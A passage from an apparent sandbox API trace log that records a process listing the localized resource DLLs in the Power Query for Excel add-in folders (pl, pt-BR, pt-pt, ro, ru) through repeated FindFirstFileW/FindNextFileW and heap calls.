ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0089.993] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4409f1c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4409f1c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0089.993] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8680a1e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0089.993] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5ae112, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5ae112, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0089.993] FindNextFileW (in: hFindFile=0x3b8b408, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc5ae112, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc5ae112, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5d437d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x87040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0089.994] FindClose (in: hFindFile=0x3b8b408 | out: hFindFile=0x3b8b408) returned 1 [0089.995] GetProcessHeap () returned 0x11a0000 [0089.995] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0089.995] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.dll", cAlternateFileName="")) returned 1 [0089.995] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0089.995] GetProcessHeap () returned 0x11a0000 [0089.995] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0089.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pl\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b5c8 [0090.651] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.651] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4c895d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4c895d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4caf7cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0090.652] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x865a7d2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0090.652] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0090.652] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf854e731, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8eaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0090.652] FindNextFileW (in: hFindFile=0x3b8b5c8, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf854e731, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf854e731, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf8574958, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8eaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0090.652] FindClose (in: hFindFile=0x3b8b5c8 | out: hFindFile=0x3b8b5c8) returned 1 [0090.691] GetProcessHeap () returned 0x11a0000 [0090.691] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0090.691] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0090.691] GetProcessHeap () returned 0x11a0000 [0090.691] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0090.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-BR\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b488 [0090.694] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.694] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc0e95c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0090.694] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0090.694] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7582db3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7582db3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0090.694] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bfa6d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0090.694] FindNextFileW (in: hFindFile=0x3b8b488, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bfa6d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0090.694] FindClose (in: hFindFile=0x3b8b488 | out: hFindFile=0x3b8b488) returned 1 [0090.695] GetProcessHeap () returned 0x11a0000 [0090.695] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0090.696] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-pt", cAlternateFileName="")) returned 1 [0090.696] GetProcessHeap () returned 0x11a0000 [0090.696] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0090.696] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pt-pt\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b788 [0090.699] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.699] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc70564d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc70564d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc72b8a6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0090.699] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e82eb0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0090.700] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4ba375b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4ba375b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0090.700] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63c7502, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63c7502, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63c7502, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0090.700] FindNextFileW (in: hFindFile=0x3b8b788, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63c7502, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63c7502, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf63c7502, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8c040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0090.700] FindClose (in: hFindFile=0x3b8b788 | out: hFindFile=0x3b8b788) returned 1 [0090.701] GetProcessHeap () returned 0x11a0000 [0090.701] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0090.701] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0090.701] GetProcessHeap () returned 0x11a0000 [0090.701] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0090.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ro\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b548 [0090.705] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.705] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80fc2c4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80fc2c4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80fc2c4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0090.705] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5fc257f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5fc257f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x605aed7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0090.705] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6e5cc4e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0090.705] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0063153, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0090.705] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0063153, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0090.706] FindClose (in: hFindFile=0x3b8b548 | out: hFindFile=0x3b8b548) returned 1 [0090.707] GetProcessHeap () returned 0x11a0000 [0090.707] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0090.707] FindNextFileW (in: hFindFile=0x3b8b288, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0090.707] GetProcessHeap () returned 0x11a0000 [0090.707] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0090.707] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ru\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b548 [0090.710] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.710] FindNextFileW (in: hFindFile=0x3b8b548, lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, 